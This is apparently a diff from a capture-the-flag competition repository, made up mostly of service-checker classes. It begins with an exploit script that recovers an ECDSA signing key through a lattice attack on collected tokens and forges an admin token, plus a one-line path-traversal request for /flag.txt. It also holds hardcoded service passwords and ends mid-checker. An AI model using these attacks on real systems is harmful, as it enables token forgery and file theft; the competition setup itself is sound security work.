||||
from Crypto.Util.number import *
|
||||
from Crypto.Util.strxor import strxor
|
||||
from hashlib import sha512
|
||||
from base64 import urlsafe_b64decode, urlsafe_b64encode
|
||||
from pasta import PastaSigner, PastaVerifier
|
||||
|
||||
HOST = "10.100.101.102:13000"
|
||||
# HOST = "0.0.0.0:8000"
|
||||
|
||||
|
||||
def register(username):
|
||||
r = requests.post('http://{}/register'.format(HOST), json={'username': username, 'password': '123'})
|
||||
print(r.json())
|
||||
|
||||
|
||||
def login(username):
|
||||
r = requests.post('http://{}/auth?version=4'.format(HOST), json={'username': username, 'password': '123'})
|
||||
token = r.json()['token']
|
||||
|
||||
return token
|
||||
|
||||
|
||||
def get_flag(token):
|
||||
r = requests.get('http://{}/flag'.format(HOST), headers={'Authorization': 'Bearer {}'.format(token)})
|
||||
return r.json()
|
||||
|
||||
|
||||
secret = b'\x00' + os.urandom(65)
|
||||
signer = PastaSigner(secret, 4)
|
||||
verifier = PastaVerifier(secret)
|
||||
|
||||
|
||||
sigs = []
|
||||
n = 110
|
||||
for i in range(n):
|
||||
username = "pasta-{}".format(i)
|
||||
register(username)
|
||||
token = login(username)
|
||||
sigs.append(token.encode())
|
||||
# sigs.append(signer.sign(json.dumps({"username": username, "role": "user"})).encode())
|
||||
|
||||
|
||||
hs = []
|
||||
rs = []
|
||||
ss = []
|
||||
|
||||
for i in range(n):
|
||||
_, _, sig = sigs[i].split(b".")
|
||||
raw_data = urlsafe_b64decode(sig + (b'==' * 2))
|
||||
size = 132
|
||||
signature = raw_data[-size:]
|
||||
public_key = raw_data[-size * 2:-size]
|
||||
message = raw_data[:-size]
|
||||
|
||||
r = bytes_to_long(signature[:66])
|
||||
s = bytes_to_long(signature[66:])
|
||||
|
||||
hs.append(bytes_to_long(sha512(message).digest()))
|
||||
rs.append(r)
|
||||
ss.append(s)
|
||||
|
||||
|
||||
h1 = int(hs[0])
|
||||
r1 = int(rs[0])
|
||||
s1 = int(ss[0])
|
||||
|
||||
captured = []
|
||||
for i in range(len(hs)):
|
||||
captured.append((int(hs[i]), int(rs[i]), int(ss[i])))
|
||||
|
||||
order = 0x01fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
|
||||
|
||||
matrix = []
|
||||
nonce_bit = 512 # bit size of nonce
|
||||
|
||||
i = 0
|
||||
n = len(captured) + 2
|
||||
|
||||
max_nonce = 2**nonce_bit
|
||||
|
||||
for signature in captured:
|
||||
|
||||
matrix.append([0] * n)
|
||||
matrix[i][i] = order
|
||||
|
||||
i += 1
|
||||
|
||||
matrix.append([0] * n)
|
||||
matrix.append([0] * n)
|
||||
|
||||
i = 0
|
||||
for signature in captured:
|
||||
h, r, s = signature
|
||||
|
||||
inv_s = inverse_mod(s, order)
|
||||
|
||||
matrix[n - 2][i] = r * inv_s
|
||||
matrix[n - 1][i] = h * inv_s
|
||||
|
||||
i += 1
|
||||
|
||||
matrix[n - 2][n - 2] = int(max_nonce) / order
|
||||
matrix[n - 2][n - 1] = 0
|
||||
matrix[n - 1][n - 2] = 0
|
||||
matrix[n - 1][n - 1] = max_nonce
|
||||
|
||||
print("LLL")
|
||||
|
||||
B = Matrix(QQ, n, n, matrix)
|
||||
L = B.LLL()
|
||||
|
||||
possible_d = []
|
||||
for row in list(L):
|
||||
k1 = int(abs(row[0]))
|
||||
if k1 != 0 and k1 != max_nonce and k1 < max_nonce:
|
||||
d = (k1 * s1 - h1) * inverse_mod(r1, order) % order
|
||||
|
||||
possible_d.append('00' + long_to_bytes(d).hex())
|
||||
|
||||
# assert secret.hex() in possible_d
|
||||
|
||||
for d in possible_d:
|
||||
fake_signer = PastaSigner(bytes.fromhex(d), 4)
|
||||
token = fake_signer.sign(json.dumps({"username": "pwned", "role": "admin"}))
|
||||
print(get_flag(token))
|
||||
@@ -1,7 +0,0 @@
|
||||
import requests
|
||||
import sys
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 20000
|
||||
|
||||
print(requests.get(f"http://{HOST}:{PORT}/download?filename=/flag.txt").text)
|
||||
@@ -1 +0,0 @@
|
||||
/flag.txt
|
||||
@@ -1,6 +0,0 @@
|
||||
import requests
|
||||
|
||||
url = f'http://localhost:11000?type=file'
|
||||
files = {'file': open('path', 'rb').read()}
|
||||
r = requests.post(url, files=files, timeout=5)
|
||||
print(r.json())
|
||||
@@ -1,40 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import pandas as pd
|
||||
import requests
|
||||
import re
|
||||
|
||||
class Art(Challenge):
|
||||
flag_location = 'flags/art.txt'
|
||||
history_location = 'history/art.txt'
|
||||
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
word = self.random_string(8)
|
||||
url = f'http://localhost:{self.port}/art/{word}'
|
||||
r = requests.get(url, timeout=5)
|
||||
assert r.text == f'<iframe height="100%" width="100%" frameborder="0" src=https://asciified.thelicato.io/api/v2/ascii?text={word}></iframe>', 'Unexpected response'
|
||||
self.logger.info('Check passed for art')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check art: {e}')
|
||||
return False
|
||||
@@ -1,35 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
from pwn import *
|
||||
|
||||
class BackToBasic(Challenge):
|
||||
flag_location = 'flags/back-to-basic.txt'
|
||||
history_location = 'history/back-to-basic.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
r = remote("localhost",self.port)
|
||||
assert b"idea?" in r.recvline(), "Failed First"
|
||||
|
||||
r.sendline(b"testt")
|
||||
|
||||
assert b"thing" in r.recvline(), "Failed Last"
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check back-to-basic: {e}')
|
||||
return False
|
||||
@@ -1,124 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
from fastecdsa.curve import Curve
|
||||
from fastecdsa.point import Point
|
||||
import requests
|
||||
import time
|
||||
import os
|
||||
import json
|
||||
|
||||
|
||||
class Burvesigner(Challenge):
|
||||
flag_location = 'flags/burvesigner.txt'
|
||||
history_location = 'history/burvesigner.txt'
|
||||
priv_location = 'files/burvesigner.priv'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.priv_location, 'wb') as f:
|
||||
f.write(os.urandom(256))
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
flag = open(self.flag_location).read()
|
||||
|
||||
# C1: login guest success
|
||||
guest_data = {
|
||||
'username': 'guest',
|
||||
'password': 'guest',
|
||||
}
|
||||
response = requests.post(url, data=guest_data, timeout=5)
|
||||
guest_token = response.cookies["token"]
|
||||
assert "Welcome, guest!" in response.text, "Guest cannot login"
|
||||
assert "flashes" not in response.text, "Guest cannot login"
|
||||
self.logger.info(f'C1 success for burvesigner')
|
||||
|
||||
# C2: login admin success
|
||||
admin_data = {
|
||||
'username': 'merricx_number_1_fans',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
response = requests.post(url, data=admin_data, timeout=5)
|
||||
admin_token = response.cookies["token"]
|
||||
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin cannot login"
|
||||
assert flag in response.text, "Flag is missing in admin page"
|
||||
assert "flashes" not in response.text, "Admin cannot login"
|
||||
self.logger.info(f'C2 success for burvesigner')
|
||||
|
||||
# C3: login guest fail
|
||||
guest_data = {
|
||||
'username': 'guest',
|
||||
'password': 'Guest',
|
||||
}
|
||||
response = requests.post(url, data=guest_data, timeout=5).text
|
||||
assert "Welcome, guest!" not in response, "Guest with wrong credential can login"
|
||||
assert "flashes" in response, "Guest with wrong credential can login"
|
||||
self.logger.info(f'C3 success for burvesigner')
|
||||
|
||||
# C4: login admin fail
|
||||
admin_data = {
|
||||
'username': 'merricx_number_1_fans',
|
||||
'password': 'password',
|
||||
}
|
||||
response = requests.post(url, data=admin_data, timeout=5).text
|
||||
assert "Welcome, merricx_number_1_fans!" not in response, "Admin with wrong credential can login"
|
||||
assert flag not in response, "Flag is showing in admin page with wrong credential"
|
||||
assert "flashes" in response, "Admin with wrong credential can login"
|
||||
self.logger.info(f'C4 success for burvesigner')
|
||||
|
||||
self.logger.info('calling sleep(5)')
|
||||
time.sleep(5)
|
||||
|
||||
# C5: cek apakah token guest di C1 sudah expired atau belum
|
||||
response = requests.get(url, cookies={"token": guest_token}, timeout=5)
|
||||
assert "Welcome, guest!" in response.text, "Guest token expires early"
|
||||
assert "flashes" not in response.text, "Guest token expires early"
|
||||
self.logger.info(f'C5 success for burvesigner')
|
||||
|
||||
# C6: cek apakah token admin di C2 sudah expired atau belum
|
||||
response = requests.get(url, cookies={"token": admin_token}, timeout=5)
|
||||
assert "Welcome, merricx_number_1_fans!" in response.text, "Admin token expires early"
|
||||
assert flag in response.text, "Admin token expires early"
|
||||
assert "flashes" not in response.text, "Admin token expires early"
|
||||
self.logger.info(f'C6 success for burvesigner')
|
||||
|
||||
# C7: cek endpoint /params
|
||||
response = requests.get(url + "/params", timeout=5).text
|
||||
response = response.replace("<pre>", "").replace("</pre>", "")
|
||||
params = json.loads(response)
|
||||
assert params["p"] and params["a"] and params["b"] and params["n"], "Missing p, a, b and/or n parameter(s)"
|
||||
assert params["G"][0] and params["G"][1] and params["Y"][0] and params["Y"][1], "Missing G and/or Y point(s)"
|
||||
self.logger.info(f'C7 success for burvesigner')
|
||||
|
||||
# C8: cek apakah curve C valid dan point G di C
|
||||
C = Curve("burvesigner", params["p"], params["a"], params["b"], params["n"], params["G"][0], params["G"][1])
|
||||
assert C.G == Point(params["G"][0], params["G"][1], C), "Point G is not valid"
|
||||
self.logger.info(f'C8 success for burvesigner')
|
||||
|
||||
# C9: cek apakah point G * priv = Y
|
||||
t = params["p"].bit_length() // 8
|
||||
priv = open(self.priv_location, "rb").read()[:t]
|
||||
x = int.from_bytes(priv, "little")
|
||||
Y = Point(params["Y"][0], params["Y"][1], C)
|
||||
assert C.G * x == Y, "Point Y is not valid"
|
||||
self.logger.info(f'C9 success for burvesigner')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check burvesigner: {e}')
|
||||
return False
|
||||
@@ -1,34 +0,0 @@
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
|
||||
from config import get_settings
|
||||
|
||||
|
||||
class Challenge(object):
|
||||
name = __name__
|
||||
settings = get_settings()
|
||||
port = 0
|
||||
|
||||
def __init__(self, port):
|
||||
self.port = port
|
||||
self.add_logger()
|
||||
|
||||
def add_logger(self):
|
||||
self.logger = logging.getLogger()
|
||||
|
||||
def random_string(self, length):
|
||||
charset = string.ascii_uppercase + string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choice(charset) for i in range(length))
|
||||
|
||||
def distribute(self, flag):
|
||||
raise NotImplementedError
|
||||
|
||||
def check(self):
|
||||
raise NotImplementedError
|
||||
|
||||
def credentials(self):
|
||||
return {
|
||||
'username': 'root',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
@@ -1,38 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import os
|
||||
|
||||
MOCK_URL = 'http://google.com'
|
||||
MOCK_DATA = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||
|
||||
class Crawlback(Challenge):
|
||||
flag_location = 'flags/crawlback.txt'
|
||||
history_location = 'history/crawlback.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
r = requests.post(f"http://localhost:{self.port}/crawlback.php", data={'url': MOCK_URL})
|
||||
|
||||
assert r.text.split('\n').pop(0) == MOCK_DATA
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check crawlback: {e}')
|
||||
return False
|
||||
@@ -1,67 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import zlib
|
||||
import gzip
|
||||
import json
|
||||
|
||||
MOCK_URL = 'http://google.com'
|
||||
MOCK_DATA_WGET = 'Google</title>'
|
||||
MOCK_DATA_CURL = '<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8">'
|
||||
|
||||
class GemasFetcher(Challenge):
|
||||
flag_location = 'flags/gemas-fetcher.txt'
|
||||
history_location = 'history/gemas-fetcher.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
sess = requests.Session()
|
||||
|
||||
## register
|
||||
username = self.random_string(5)
|
||||
password = self.random_string(5)
|
||||
r = sess.post(f"http://localhost:{self.port}/auth/register", data={"username":username,"password": password}, allow_redirects=False)
|
||||
assert r.headers.get("location") == "/auth/login", "Register Failed"
|
||||
|
||||
## login
|
||||
r = sess.post(f"http://localhost:{self.port}/auth/login", data={"username":username,"password": password}, allow_redirects=False)
|
||||
assert r.headers.get("location") == "/dashboard", "Login Failed"
|
||||
|
||||
## wget
|
||||
content = {"provider": "wget","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x00"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert MOCK_DATA_WGET in r.text, "wget Failed"
|
||||
|
||||
## curl
|
||||
content = {"provider": "curl","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x01"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert r.text.split('\n').pop(0) == MOCK_DATA_CURL, "curl Failed"
|
||||
|
||||
## python
|
||||
content = {"provider": "python","url":MOCK_URL}
|
||||
files = {"file": ("visit", b"\x00\x02"+gzip.compress(zlib.compress(json.dumps(content).encode())))}
|
||||
r = sess.post(f"http://localhost:{self.port}/dashboard/fetch_by_file", files=files)
|
||||
assert r.text.startswith('"PCFkb2N0eXBlIGh0bWw'), "python Failed"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check gemas-fetcher: {e}')
|
||||
return False
|
||||
@@ -1,67 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
|
||||
class GemasNotes(Challenge):
|
||||
history_location = 'history/gemas-notes.txt'
|
||||
host = "http://localhost:12000"
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
username = "gemasflagreceiver"
|
||||
password = "AuTeEbn%.Q5$pC_ge6"
|
||||
result = requests.post(f"{self.host}/flag_receiver", json={"flag": flag}, auth=(username,password)).json()
|
||||
if not result.get("success"):
|
||||
return False
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} updated in gemas-notes database')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could send flag to gemas-notes challenge: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
|
||||
# login
|
||||
token = requests.post(f"{url}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
|
||||
header = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
# get count
|
||||
old_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||
|
||||
# create notes
|
||||
notes = {"title":self.random_string(10), "content":self.random_string(20), "tags":self.random_string(10)}
|
||||
status_code = requests.put(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||
assert status_code in [200, 201], "Cannot Create Note"
|
||||
|
||||
# get notes
|
||||
all_notes = requests.get(f"{url}/api/notes").json()
|
||||
note = list(filter(lambda x: x["title"] == notes["title"], all_notes))
|
||||
assert len(note) != 0, "Note was not created"
|
||||
|
||||
# get new count
|
||||
new_count = requests.post(f"{url}/api/notes/count", headers=header, json={"count_by":"title", "keyword":""}).json()["count"]
|
||||
assert old_count != new_count, "Invalid count"
|
||||
|
||||
# update notes
|
||||
new_content = self.random_string(20)
|
||||
notes["id"] = note[0]["id"]
|
||||
notes["content"] = new_content
|
||||
status_code = requests.patch(f"{url}/api/notes", headers=header, json=notes).status_code
|
||||
assert status_code in [200, 204], "Cannot Update Note"
|
||||
|
||||
# delete notes
|
||||
status_code = requests.delete(f"{url}/api/notes/{notes['id']}", headers=header, json=notes).status_code
|
||||
assert status_code == 200, "Cannot Delete Note"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check gemas-notes: {e}')
|
||||
return False
|
||||
@@ -1,42 +0,0 @@
|
||||
import requests
|
||||
from base64 import b64decode
|
||||
|
||||
from .Challenge import Challenge
|
||||
|
||||
|
||||
class Hirnfick(Challenge):
|
||||
flag_location = 'flags/hirnfick.txt'
|
||||
history_location = 'history/hirnfick.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(
|
||||
f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
res = requests.post(
|
||||
f"http://localhost:{self.port}/api/run",
|
||||
timeout=5,
|
||||
json={
|
||||
"code":
|
||||
"+[-->-[>>+>-----<<]<--<---]>-.>>>+.>>..+++[.>]<<<<.+++.------.<<-.>>>>+."
|
||||
})
|
||||
|
||||
assert b64decode(res.json()["output"]) == b"HirnFick 1.0\nHello, World!"
|
||||
|
||||
return True
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check hirnfick: {e}')
|
||||
return False
|
||||
@@ -1,109 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
|
||||
|
||||
class Pasta(Challenge):
|
||||
flag_location = 'flags/pasta.txt'
|
||||
history_location = 'history/pasta.txt'
|
||||
host = "http://localhost:13000"
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
username = f"checker-{self.random_string(8)}"
|
||||
pwd = self.random_string(12)
|
||||
flag = open(self.flag_location).read()
|
||||
|
||||
admin_data = {
|
||||
'username': 'deomkicer_number_1_fans',
|
||||
'password': getattr(self.settings, f'PASSWORD_{self.port}'),
|
||||
}
|
||||
|
||||
# login admin and check flag
|
||||
response = requests.post(
|
||||
f"{url}/auth",
|
||||
json=admin_data).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login admin"
|
||||
check_flag = requests.get(f"{url}/flag", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_flag.get('flag') == flag, "Flag is missing/mismatch"
|
||||
|
||||
# register
|
||||
response = requests.post(
|
||||
f"{url}/register",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
assert response.get('success') == "User registered succesfully", "Register failed"
|
||||
|
||||
# login with version 1
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=1",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v1"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v1"
|
||||
|
||||
# login with version 2
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=2",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v2"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v2"
|
||||
|
||||
# login with version 3
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=3",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v3"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v3"
|
||||
|
||||
# login with version 4
|
||||
response = requests.post(
|
||||
f"{url}/auth?version=4",
|
||||
json={
|
||||
"username": f"{username}",
|
||||
"password": f"{pwd}"}).json()
|
||||
|
||||
token = response.get('token')
|
||||
assert token, "Token is missing in login v4"
|
||||
check_home = requests.get(f"{url}/", headers={'Authorization': f"Bearer {token}"}).json()
|
||||
assert check_home.get('username') == username, "Different username found in login v4"
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check pasta: {e}')
|
||||
return False
|
||||
@@ -1,44 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import requests
|
||||
import os
|
||||
|
||||
|
||||
class S3(Challenge):
|
||||
flag_location = 'flags/s3.txt'
|
||||
history_location = 'history/s3.txt'
|
||||
host = 'http://localhost:20000'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
filename = self.random_string(8) + ".txt"
|
||||
content = self.random_string(64)
|
||||
|
||||
r = requests.post(f"http://localhost:{self.port}/upload", files={'file': (filename, content)})
|
||||
assert r.status_code == 200
|
||||
assert r.text == f'Download <a href="/download?filename={filename}">here</a>'
|
||||
|
||||
r = requests.get(f"http://localhost:{self.port}/download?filename={filename}")
|
||||
assert r.status_code == 200
|
||||
assert r.text == content
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check s3: {e}')
|
||||
return False
|
||||
@@ -1,66 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
|
||||
import io
|
||||
import pandas as pd
|
||||
import requests
|
||||
import re
|
||||
|
||||
MOCK_DATA = [
|
||||
{'name': 'John','age': 30, 'city': 'New York'},
|
||||
{'name': 'Mary', 'age': 25, 'city': 'San Francisco'},
|
||||
{'name': 'Peter', 'age': 45, 'city': 'Chicago'},
|
||||
]
|
||||
|
||||
MOCK_RESULT = {
|
||||
"Sheet1":{
|
||||
"!ref":"A1:C4",
|
||||
"A1":{"t":"s","v":"name","h":"name","w":"name"},"B1":{"t":"s","v":"age","h":"age","w":"age"},"C1":{"t":"s","v":"city","h":"city","w":"city"},
|
||||
"A2":{"t":"s","v":"John","h":"John","w":"John"},"B2":{"t":"n","v":30,"w":"30"},"C2":{"t":"s","v":"New York","h":"New York","w":"New York"},
|
||||
"A3":{"t":"s","v":"Mary","h":"Mary","w":"Mary"},"B3":{"t":"n","v":25,"w":"25"},"C3":{"t":"s","v":"San Francisco","h":"San Francisco","w":"San Francisco"},
|
||||
"A4":{"t":"s","v":"Peter","h":"Peter","w":"Peter"},"B4":{"t":"n","v":45,"w":"45"},"C4":{"t":"s","v":"Chicago","h":"Chicago","w":"Chicago"},
|
||||
"!margins":{"left":0.75,"right":0.75,"top":1,"bottom":1,"header":0.5,"footer":0.5}
|
||||
}
|
||||
}
|
||||
|
||||
class XL(Challenge):
|
||||
flag_location = 'flags/xl.txt'
|
||||
history_location = 'history/xl.txt'
|
||||
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
url = f'http://localhost:{self.port}'
|
||||
files = {'file': self.generate_mock_file()}
|
||||
r = requests.post(url, files=files, timeout=5)
|
||||
assert r.json() == MOCK_RESULT, 'Unexpected response'
|
||||
self.logger.info('Check passed for xl')
|
||||
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not check xl: {e}')
|
||||
return False
|
||||
|
||||
def generate_mock_file(self):
|
||||
memory_file = io.BytesIO()
|
||||
|
||||
df = pd.DataFrame(MOCK_DATA)
|
||||
df.to_excel(memory_file, index=False)
|
||||
|
||||
memory_file.seek(0)
|
||||
return memory_file
|
||||
@@ -1,105 +0,0 @@
|
||||
from .Challenge import Challenge
|
||||
from modules.blinkpdf import *
|
||||
|
||||
import io
|
||||
import requests
|
||||
import subprocess
|
||||
import re
|
||||
|
||||
class BlinkPDF(Challenge):
|
||||
flag_location = 'flags/blinkpdf.txt'
|
||||
history_location = 'history/blinkpdf.txt'
|
||||
|
||||
def distribute(self, flag):
|
||||
try:
|
||||
with open(self.flag_location, 'w') as f:
|
||||
f.write(flag)
|
||||
|
||||
with open(self.history_location, 'a') as f:
|
||||
f.write(flag + '\n')
|
||||
|
||||
self.logger.info(f'Flag {flag} written to {self.flag_location}')
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
self.logger.error(f'Could not write flag to {self.flag_location}: {e}')
|
||||
return False
|
||||
|
||||
def check(self):
|
||||
try:
|
||||
# Getting private key
|
||||
container_env = subprocess.run(
|
||||
["docker", "exec", "blinkpdf_container", "cat", "/opt/.env"],
|
||||
capture_output=True,
|
||||
text=True
|
||||
).stdout.strip()
|
||||
private_key = re.search(r'PRIVATE_KEY="(.+?)"', container_env).group(1)
|
||||
assert len(private_key) > 0, 'Missing PRIVATE_KEY on .env'
|
||||
|
||||
sess = requests.Session()
|
||||
|
||||
# Checking C1: Login as user
|
||||
url = f'http://localhost:{self.port}/login'
|
||||
data = {"username": "user", "password": "user"}
|
||||
r = sess.post(url, data=data, timeout=5)
|
||||
assert 'Welcome to the PDF Signature App'.lower() in r.text.lower(), 'Cannot login as user'
|
||||
|
||||
pdfpath = 'files/blinkpdf_hellodocs.pdf'
|
||||
pdfbytes = open(pdfpath, 'rb').read()
|
||||
|
||||
# Checking C2: Sign pdf as user
|
||||
sign_url = f'http://localhost:{self.port}/sign'
|
||||
r = sess.post(sign_url, timeout=5)
|
||||
sendata = ('main.pdf', pdfbytes, 'application/pdf')
|
||||
filedata = {'file': sendata}
|
||||
r = sess.post(sign_url, files=filedata, timeout=5)
|
||||
signed_pdf = r.content
|
||||
assert r.status_code == 200 and 'application/pdf' in r.headers['Content-Type'], 'Signed PDF not available or incorrect content type'
|
||||
signed_pdf_stream = io.BytesIO(signed_pdf)
|
||||
assert verify_signature(signed_pdf_stream, private_key), 'Algorithm for signature process is changed'
|
||||
|
||||
# Checking C3: Verify valid pdf as user
|
||||
